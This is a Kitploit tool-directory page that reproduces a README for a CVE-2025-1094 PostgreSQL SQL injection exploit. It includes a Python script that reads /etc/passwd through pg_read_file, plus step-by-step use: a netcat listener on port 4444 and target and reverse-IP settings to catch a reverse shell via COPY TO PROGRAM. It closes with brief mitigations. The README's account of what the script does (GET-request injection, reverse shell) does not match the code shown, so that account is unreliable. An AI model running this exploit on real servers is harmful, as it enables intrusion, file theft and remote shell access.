Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-1094 — It is an input sanitization flaw caused by an encoding mismatch, allowing crafted input to bypass filters. If a server is vulnerable, an attacker can inject malicious SQL that the backend executes. | Kitploit
Tools/GitHubGitHub/aninfosec/cve-2025-1094
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentDatabase SecurityLabs & Practice
GitHubaninfosec/cve-2025-1094

CVE-2025-1094

It is an input sanitization flaw caused by an encoding mismatch, allowing crafted input to bypass filters. If a server is vulnerable, an attacker can inject malicious SQL that the backend executes.

121 year agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

#I have written this exploit with reference to the PoC available at CVE-2025-1094

CVE‑2025‑1094 | PostgreSQL Input Sanitization Vulnerability

Overview

CVE‑2025‑1094 is an input sanitization vulnerability in PostgreSQL’s libpq escape functions and the psql interactive tool. It stems from the improper handling of multi-byte encodings when the client encoding is set to BIG5. Under certain conditions, this can lead to the mishandling of escape characters, allowing attackers to bypass intended query boundaries.

This vulnerability was discovered by Rapid7 during analysis of CVE‑2024‑12356, a separate issue in BeyondTrust appliances. The PostgreSQL behavior was exploited as part of a broader chained vulnerability to further influence backend behavior.

How It Works

When a web server or application passes user input directly into SQL queries executed through psql, and the client_encoding is set to , specially crafted input can terminate a SQL statement early and append malicious SQL.

BIG5

This allows for additional operations such as reading local files (e.g., /etc/passwd) via PostgreSQL’s lo_export, pg_read_file, or similar functions.

This is not a remote code execution (RCE) vulnerability in PostgreSQL by default. Rather, it is a misuse of PostgreSQL client APIs that, when improperly filtered or escaped, can be abused to leak sensitive file contents or potentially execute dangerous SQL.

Impact

  • Enables file read access from the PostgreSQL server if configured insecurely.
  • Allows attackers with valid credentials to exploit COPY TO, pg_read_file, or lo_export when combined with SQL injection in client applications.
  • Exploits are only effective when the client encoding is BIG5 and input is not properly sanitized.

Conditions Required for Exploitation

  • The attacker has valid PostgreSQL credentials (authenticated context) or Access to web server which send inputs direclty to PostgreSQL server.
  • The backend SQL is PostgreSQL and uses a vulnerable version (prior to patched versions in June 2025).
  • The application directly passes unsanitized input into SQL.
  • The PostgreSQL client is configured with client_encoding=BIG5.

Exploit Demonstration

root@kitploit:~
import psycopg2

conn = psycopg2.connect(
    host="127.0.0.1",
    dbname="test",
    user="test",
    password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()

# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""

cursor.execute(sql)
conn.commit()

##✅ What Does This Exploit.py do:

Sets PGCLIENTENCODING=BIG5 in the environment (trigger condition).

Crafts an SQL injection payload to break out of a query and insert a new COPY TO PROGRAM command.

Sends the payload via a GET request to the vulnerable web server (/search?q=...).

If the backend uses psql and unsanitized input, the COPY TO PROGRAM executes and writes the result or opens a shell.

⚠️ The reverse shell will only succeed if the server:

root@kitploit:~
Executes SQL using psql (not parameterized DB drivers)

Allows COPY TO PROGRAM (requires superuser)

Has outbound connectivity to the attacker

#The Python script sends a specially crafted payload to a vulnerable web server that passes input directly to a PostgreSQL psql process with BIG5 encoding: Steps to Use:

Start a listener on the terminal:

nc -lvnp 4444

Edit the exploit script:

Set TARGET_URL to the target server’s IP or domain. Confirm the ENDPOINT matches the route (e.g., /search). Adjust REVERSE_IP and REVERSE_PORT to match your attack box.

Execute the script in Different Terminal :

python3 exploit.py

Result: If successful, you will receive a connection on your listener. If not, try reading files (e.g., /etc/passwd) using pg_read_file payloads instead.

Lab Environment

To test this:

  • PostgreSQL 14.x (or earlier vulnerable versions).
  • Initialized with EUC_TW or similar encoding.
  • The application layer (e.g., Flask) interacts with PostgreSQL using psql or unescaped dynamic SQL.
  • The PostgreSQL user must have access to functions like pg_read_file or lo_export.

Mitigations

  • Upgrade to patched PostgreSQL versions (≥ 17.3, 16.7, 15.11, 14.16, 13.19).
  • Avoid client_encoding=BIG5 unless explicitly needed.
  • Never pass raw user input into SQL execution contexts.
  • Use prepared statements and input validation libraries.

References

  • Rapid7 Blog: Technical Analysis
  • PostgreSQL Advisory: Security Release June 2025
  • CVE Details: CVE-2025-1094
Download Tool